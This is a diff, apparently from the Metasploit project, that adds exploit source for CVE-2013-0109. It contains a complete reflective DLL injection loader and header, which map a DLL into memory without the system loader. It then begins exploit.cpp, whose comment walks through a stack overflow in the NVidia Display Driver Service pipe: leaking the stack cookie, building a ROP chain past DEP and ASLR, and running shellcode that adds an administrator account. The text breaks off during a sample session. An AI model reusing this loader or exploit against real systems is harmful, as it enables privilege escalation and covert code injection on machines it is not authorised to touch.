+#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h new file mode 100644 index 0000000000..3797879e47 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2013-0109/dll/src/exploit.cpp b/external/source/exploits/cve-2013-0109/dll/src/exploit.cpp new file mode 100644 index 0000000000..d97f113401 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/src/exploit.cpp @@ -0,0 +1,537 @@ +/* + +NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012 +- Bypass DEP + ASLR + /GS + CoE +============================================================= +(@peterwintrsmith) + + ** Initial release 25/12/12 + ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks + @seanderegge! + +Hey all! + +Here is an interesting exploit for a stack buffer overflow in the NVidia +Display Driver Service. The service listens on a named pipe (\pipe\nsvr) +which has a NULL DACL configured, which should mean that any logged on user +or remote user in a domain context (Windows firewall/file sharing +permitting) should be able to exploit this vulnerability. + +The buffer overflow occurs as a result of a bad memmove operation, with the +stack layout effectively looking like this: + +[locals] +[received-data] +[response-buf] +[stack cookie] +[return address] +[arg space] +[etc] + +The memmove copies data from the received-data buffer into the response-buf +buffer, unchecked. It is possible to control the offset from which the copy +starts in the received-data buffer by embedding a variable length string - +which forms part of the protocol message being crafted - as well as the +number of bytes copied into the response buffer. + +The amount of data sent back over the named pipe is related to the number +of bytes copied rather than the maximum number of bytes that the buffer is +able to safely contain, so it is possible to leak stack data by copying +from the end of the received-data buffer, through the response-buf buffer +(which is zeroed first time round, and second time round contains whatever +was in it beforehand), right to the end of the stack frame (including stack +cookie and return address). + +As the entire block of data copied is sent back, the stack cookie and +nvvsvc.exe base can be determined using the aforementioned process. The +stack is then trashed, but the function servicing pipe messages won't +return until the final message has been received, so it doesn't matter too +much. + +It is then possible to exploit the bug by sending two further packets of +data: One containing the leaked stack cookie and a ROP chain dynamically +generated using offsets from the leaked nvvsvc.exe base (which simply fills +the response-buf buffer when this data is echoed back) and a second packet +which contains enough data to trigger an overwrite if data is copied from +the start of the received-data buffer into the response-buf (including the +data we primed the latter to contain - stack cookie and ROP chain). + +Allowing the function to then return leads to execution of our ROP chain, +and our strategically placed Metasploit net user /add shellcode! We get +continuation of execution for free because the process spins up a thread +to handle each new connection, and there are no deadlocks etc. + +I've included two ROP chains, one which works against the nvvsvc.exe +running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers +from the Dell site, and one which works against the latest version of the +drivers for the same card, from: +http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m +http://www.geforce.co.uk/drivers/results/54709 + +Hope you find this interesting - it's a fun bug to play with! + +- Sample Session - + + +C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators +Alias name administrators +Comment Administrators have complete and unrestricted access to the computer/domain + +Members + +------------------------------------------------------------------------------- +Administrator +Peter +The command completed 